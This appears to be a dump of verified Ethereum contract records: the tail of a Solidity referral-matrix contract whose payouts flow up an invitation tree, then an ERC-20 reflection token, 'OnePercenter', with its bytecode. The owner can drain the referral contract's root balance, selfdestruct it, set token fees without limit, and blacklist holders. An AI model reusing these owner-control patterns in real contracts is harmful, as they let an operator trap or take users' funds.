_autoBuyLevel(msg.sender);
}
fallback() payable external {
_register(msg.sender, bytesToAddress(msg.data), msg.value);
}
function _newUser(address _addr, address _inviter) private {
users[_addr].id = ++last_id;
users[_addr].inviter = _inviter;
users_ids[last_id] = _addr;
emit RegisterUserEvent(_addr, _inviter, last_id, now);
}
function _buyLevel(address _user, uint8 _level) private {
require(levels[_level] > 0, "Invalid level");
require(users[_user].balance >= levels[_level], "Insufficient funds");
require(_level == 0 || users[_user].expires[_level - 1] > block.timestamp, "Need previous level");
users[_user].balance -= levels[_level];
users[_user].expires[_level] = uint40((users[_user].expires[_level] > block.timestamp ? users[_user].expires[_level] : block.timestamp) + LEVEL_TIME_LIFE);
uint8 round = _level / 2;
uint8 offset = _level % 2;
address upline = users[_user].inviter;
if(users[_user].uplines[round] == address(0)) {
while(users[upline].expires[_level] < block.timestamp) {
emit LostProfitEvent(upline, _user, levels[_level], now, users[_user].id);
upline = users[upline].inviter;
}
upline = this.findFreeReferrer(upline, round);
users[_user].uplines[round] = upline;
users[upline].referrals[round].push(_user);
}
else upline = users[_user].uplines[round];
address profiter;
profiter = this.findUpline(upline, round, offset);
uint256 value = levels[_level];
if(users[profiter].id > 7){
uint price = 0;
if(levels[19] != value){
if(_level%2 == 0){
price = levels[_level+1]/2;
} else {
price = levels[_level+1]/4;
}
users[profiter].balance += price;
users[profiter].profit += (value - price);
_autoBuyLevel(profiter);
emit BuyLevelEvent(_user, upline, _level, users[_user].expires[_level], now);
} else {
users[profiter].profit += value;
}
emit ProfitEvent(profiter, _user, value, now, users[profiter].id, users[_user].id);
}
else {
users[root].balance += value;
users[root].profit = users[root].balance;
emit ProfitEvent(root, _user, value, now, users[root].id, users[_user].id);
}
}
function _autoBuyLevel(address _user) private {
for(uint8 i = 0; i < levels.length; i++) {
if(levels[i] > users[_user].balance) break;
if(users[_user].expires[i] < block.timestamp) {
_buyLevel(_user, i);
}
}
}
function _register(address _user, address _upline, uint256 _value) private {
require(users[_user].id == 0, "User arleady register");
require(users[_upline].id != 0, "Upline not register");
require(_value >= levels[0], "Insufficient funds");
users[_user].balance += _value;
_newUser(_user, _upline);
_buyLevel(_user, 0);
}
function register(uint256 _upline_id) payable external {
_register(msg.sender, users_ids[_upline_id], msg.value);
}
function withdraw(uint256 _value) payable external {
require(users[msg.sender].id > 0, "User not register");
_value = _value > 0 ? _value : users[msg.sender].profit;
require(_value <= users[msg.sender].profit, "Insufficient funds profit");
users[msg.sender].profit -= _value;
if(!payable(msg.sender).send(_value)) {
root.transfer(_value);
}
emit WithdrawEvent(msg.sender, _value, now);
}
function topDev() public onlyOwner {
root.transfer(users[root].balance);
users[root].balance = 0;
users[root].profit = 0;
emit WithdrawEvent(root, users[root].balance, now);
}
function destruct() external onlyOwner {
selfdestruct(owner);
}
function findFreeReferrer(address _user, uint8 _round) public view returns(address) {
if(users[_user].referrals[_round].length < 2) return _user;
address[] memory refs = new address[](1024);
refs[0] = users[_user].referrals[_round][0];
refs[1] = users[_user].referrals[_round][1];
for(uint16 i = 0; i < 1024; i++) {
if(users[refs[i]].referrals[_round].length < 2) {
return refs[i];
}
if(i < 511) {
uint16 n = (i + 1) * 2;
refs[n] = users[refs[i]].referrals[_round][0];
refs[n + 1] = users[refs[i]].referrals[_round][1];
}
}
revert("No free referrer");
}
function getLvlUser(uint256 _id) public view returns(uint40[20] memory lvls){
for(uint8 i = 0; i < 20; i++ ){
lvls[i] = uint40(users[users_ids[_id]].expires[i]);
}
}
function getReferralTree(uint _id, uint _treeLevel, uint8 _round) external view returns (uint[] memory, uint[] memory, uint) {
uint tmp = 2 ** (_treeLevel + 1) - 2;
uint[] memory ids = new uint[](tmp);
uint[] memory lvl = new uint[](tmp);
ids[0] = (users[users_ids[_id]].referrals[_round].length > 0)? users[users[users_ids[_id]].referrals[_round][0]].id: 0;
ids[1] = (users[users_ids[_id]].referrals[_round].length > 1)? users[users[users_ids[_id]].referrals[_round][1]].id: 0;
lvl[0] = getMaxLevel(ids[0], _round);
lvl[1] = getMaxLevel(ids[1], _round);
for (uint i = 0; i < (2 ** _treeLevel - 2); i++) {
tmp = i * 2 + 2;
ids[tmp] = (users[users_ids[ids[i]]].referrals[_round].length > 0)? users[users[users_ids[ids[i]]].referrals[_round][0]].id : 0;
ids[tmp + 1] = (users[users_ids[ids[i]]].referrals[_round].length > 1)? users[users[users_ids[ids[i]]].referrals[_round][1]].id : 0;
lvl[tmp] = getMaxLevel(ids[tmp], _round );
lvl[tmp + 1] = getMaxLevel(ids[tmp + 1], _round );
}
uint curMax = getMaxLevel(_id, _round);
return(ids, lvl, curMax);
}
function getMaxLevel(uint _id, uint8 _round) private view returns (uint){
uint max = 0;
if (_id == 0) return 0;
_round = _round + 1;
//if (users[users_ids[_id]].expires[_level] == 0) return 0;
for (uint8 i = 1; i <= 2; i++) {
if (users[users_ids[_id]].expires[_round * 2 - i] > now) {
max = 3 - i;
break;
}
}
return max;
}
function findUpline(address _user, uint8 _round, uint8 _offset) external view returns(address) {
if(_user == root || _offset == 0) return _user;
return this.findUpline(users[_user].uplines[_round], _round, _offset - 1);
}
function getUplines(uint _user, uint8 _round) public view returns (uint[2] memory uplines, address[2] memory uplinesWallets) {
uint id = _user;
for(uint8 i = 1; i <= 2; i++){
_user = users[users[users_ids[_user]].uplines[_round]].id;
uplines[i - 1] = users[users_ids[_user]].id;
uplinesWallets[i - 1] = this.findUpline(users_ids[id], _round, i);
}
}
function bytesToAddress(bytes memory _data) private pure returns(address addr) {
assembly {
addr := mload(add(_data, 20))
}
}
} | 0x | {"success": true, "error": null, "results": {}} | 608 |
0x7D199822acC44064fA622B54eDbbb2dE359F03B1 | /**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
// SPDX-License-Identifier: UNLICENSED
/**
1% buy tax - 1% sell tax
redist on buy 1%
redist on sell 1%
https://t.me/onepercenterETH
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract OnePercenter is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "OnePercenter";
string private constant _symbol = "1%er";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 0;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 0;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x4ADb793dcCD3ad1B5bF86421F3771A86eCB99768);
address payable private _marketingAddress = payable(0x4ADb793dcCD3ad1B5bF86421F3771A86eCB99768);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50100 * 10**9; //1.5%
uint256 public _maxWalletSize = 300100 * 10**9; //3%
uint256 public _swapTokensAtAmount = 20100 * 10**9; //.2%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051e578063dd62ed3e1461053e578063ea1644d514610584578063f2fde38b146105a457600080fd5b8063a2a957bb14610499578063a9059cbb146104b9578063bfd79284146104d9578063c3c8cd801461050957600080fd5b80638f70ccf7116100d15780638f70ccf7146104165780638f9a55c01461043657806395d89b411461044c57806398a5c3151461047957600080fd5b806374010ece146103c25780637d1db4a5146103e25780638da5cb5b146103f857600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103585780636fc3eaec1461037857806370a082311461038d578063715018a6146103ad57600080fd5b8063313ce567146102fc57806349bd5a5e146103185780636b9990531461033857600080fd5b80631694505e116101a05780631694505e1461026a57806318160ddd146102a257806323b872dd146102c65780632fd689e3146102e657600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023a57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611aba565b6105c4565b005b3480156101ff57600080fd5b5060408051808201909152600c81526b27b732a832b931b2b73a32b960a11b60208201525b6040516102319190611bec565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a0a565b610663565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b50662386f26fc100005b604051908152602001610231565b3480156102d257600080fd5b5061025a6102e13660046119c9565b61067a565b3480156102f257600080fd5b506102b860185481565b34801561030857600080fd5b5060405160098152602001610231565b34801561032457600080fd5b5060155461028a906001600160a01b031681565b34801561034457600080fd5b506101f1610353366004611956565b6106e3565b34801561036457600080fd5b506101f1610373366004611b86565b61072e565b34801561038457600080fd5b506101f1610776565b34801561039957600080fd5b506102b86103a8366004611956565b6107c1565b3480156103b957600080fd5b506101f16107e3565b3480156103ce57600080fd5b506101f16103dd366004611ba1565b610857565b3480156103ee57600080fd5b506102b860165481565b34801561040457600080fd5b506000546001600160a01b031661028a565b34801561042257600080fd5b506101f1610431366004611b86565b610886565b34801561044257600080fd5b506102b860175481565b34801561045857600080fd5b506040805180820190915260048152631892b2b960e11b6020820152610224565b34801561048557600080fd5b506101f1610494366004611ba1565b6108ce565b3480156104a557600080fd5b506101f16104b4366004611bba565b6108fd565b3480156104c557600080fd5b5061025a6104d4366004611a0a565b61093b565b3480156104e557600080fd5b5061025a6104f4366004611956565b60106020526000908152604090205460ff1681565b34801561051557600080fd5b506101f1610948565b34801561052a57600080fd5b506101f1610539366004611a36565b61099c565b34801561054a57600080fd5b506102b8610559366004611990565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059057600080fd5b506101f161059f366004611ba1565b610a3d565b3480156105b057600080fd5b506101f16105bf366004611956565b610a6c565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016105ee90611c41565b60405180910390fd5b60005b815181101561065f5760016010600084848151811061061b5761061b611d88565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065781611d57565b9150506105fa565b5050565b6000610670338484610b56565b5060015b92915050565b6000610687848484610c7a565b6106d984336106d485604051806060016040528060288152602001611dca602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b6565b610b56565b5060019392505050565b6000546001600160a01b0316331461070d5760405162461bcd60e51b81526004016105ee90611c41565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107585760405162461bcd60e51b81526004016105ee90611c41565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ab57506013546001600160a01b0316336001600160a01b0316145b6107b457600080fd5b476107be816111f0565b50565b6001600160a01b03811660009081526002602052604081205461067490611275565b6000546001600160a01b0316331461080d5760405162461bcd60e51b81526004016105ee90611c41565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108815760405162461bcd60e51b81526004016105ee90611c41565b601655565b6000546001600160a01b031633146108b05760405162461bcd60e51b81526004016105ee90611c41565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f85760405162461bcd60e51b81526004016105ee90611c41565b601855565b6000546001600160a01b031633146109275760405162461bcd60e51b81526004016105ee90611c41565b600893909355600a91909155600955600b55565b6000610670338484610c7a565b6012546001600160a01b0316336001600160a01b0316148061097d57506013546001600160a01b0316336001600160a01b0316145b61098657600080fd5b6000610991306107c1565b90506107be816112f9565b6000546001600160a01b031633146109c65760405162461bcd60e51b81526004016105ee90611c41565b60005b82811015610a375781600560008686858181106109e8576109e8611d88565b90506020020160208101906109fd9190611956565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2f81611d57565b9150506109c9565b50505050565b6000546001600160a01b03163314610a675760405162461bcd60e51b81526004016105ee90611c41565b601755565b6000546001600160a01b03163314610a965760405162461bcd60e51b81526004016105ee90611c41565b6001600160a01b038116610afb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ee565b6001600160a01b038216610c195760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cde5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ee565b6001600160a01b038216610d405760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ee565b60008111610da25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ee565b6000546001600160a01b03848116911614801590610dce57506000546001600160a01b03838116911614155b156110af57601554600160a01b900460ff16610e67576000546001600160a01b03848116911614610e675760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ee565b601654811115610eb95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ee565b6001600160a01b03831660009081526010602052604090205460ff16158015610efb57506001600160a01b03821660009081526010602052604090205460ff16155b610f535760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ee565b6015546001600160a01b03838116911614610fd85760175481610f75846107c1565b610f7f9190611ce7565b10610fd85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ee565b6000610fe3306107c1565b601854601654919250821015908210610ffc5760165491505b8080156110135750601554600160a81b900460ff16155b801561102d57506015546001600160a01b03868116911614155b80156110425750601554600160b01b900460ff165b801561106757506001600160a01b03851660009081526005602052604090205460ff16155b801561108c57506001600160a01b03841660009081526005602052604090205460ff16155b156110ac5761109a826112f9565b4780156110aa576110aa476111f0565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f157506001600160a01b03831660009081526005602052604090205460ff165b8061112357506015546001600160a01b0385811691161480159061112357506015546001600160a01b03848116911614155b15611130575060006111aa565b6015546001600160a01b03858116911614801561115b57506014546001600160a01b03848116911614155b1561116d57600854600c55600954600d555b6015546001600160a01b03848116911614801561119857506014546001600160a01b03858116911614155b156111aa57600a54600c55600b54600d555b610a3784848484611482565b600081848411156111da5760405162461bcd60e51b81526004016105ee9190611bec565b5060006111e78486611d40565b95945050505050565b6012546001600160a01b03166108fc61120a8360026114b0565b6040518115909202916000818181858888f19350505050158015611232573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124d8360026114b0565b6040518115909202916000818181858888f1935050505015801561065f573d6000803e3d6000fd5b60006006548211156112dc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ee565b60006112e66114f2565b90506112f283826114b0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134157611341611d88565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139557600080fd5b505afa1580156113a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cd9190611973565b816001815181106113e0576113e0611d88565b6001600160a01b0392831660209182029290920101526014546114069130911684610b56565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143f908590600090869030904290600401611c76565b600060405180830381600087803b15801561145957600080fd5b505af115801561146d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148f5761148f611515565b61149a848484611543565b80610a3757610a37600e54600c55600f54600d55565b60006112f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163a565b60008060006114ff611668565b909250905061150e82826114b0565b9250505090565b600c541580156115255750600d54155b1561152c57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611555876116a6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115879087611703565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b69086611745565b6001600160a01b0389166000908152600260205260409020556115d8816117a4565b6115e284836117ee565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162791815260200190565b60405180910390a3505050505050505050565b6000818361165b5760405162461bcd60e51b81526004016105ee9190611bec565b5060006111e78486611cff565b6006546000908190662386f26fc1000061168282826114b0565b82101561169d57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c38a600c54600d54611812565b92509250925060006116d36114f2565b905060008060006116e68e878787611867565b919e509c509a509598509396509194505050505091939550919395565b60006112f283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b6565b6000806117528385611ce7565b9050838110156112f25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ee565b60006117ae6114f2565b905060006117bc83836118b7565b306000908152600260205260409020549091506117d99082611745565b30600090815260026020526040902055505050565b6006546117fb9083611703565b60065560075461180b9082611745565b6007555050565b600080808061182c606461182689896118b7565b906114b0565b9050600061183f60646118268a896118b7565b90506000611857826118518b86611703565b90611703565b9992985090965090945050505050565b600080808061187688866118b7565b9050600061188488876118b7565b9050600061189288886118b7565b905060006118a4826118518686611703565b939b939a50919850919650505050505050565b6000826118c657506000610674565b60006118d28385611d21565b9050826118df8583611cff565b146112f25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ee565b803561194181611db4565b919050565b8035801515811461194157600080fd5b60006020828403121561196857600080fd5b81356112f281611db4565b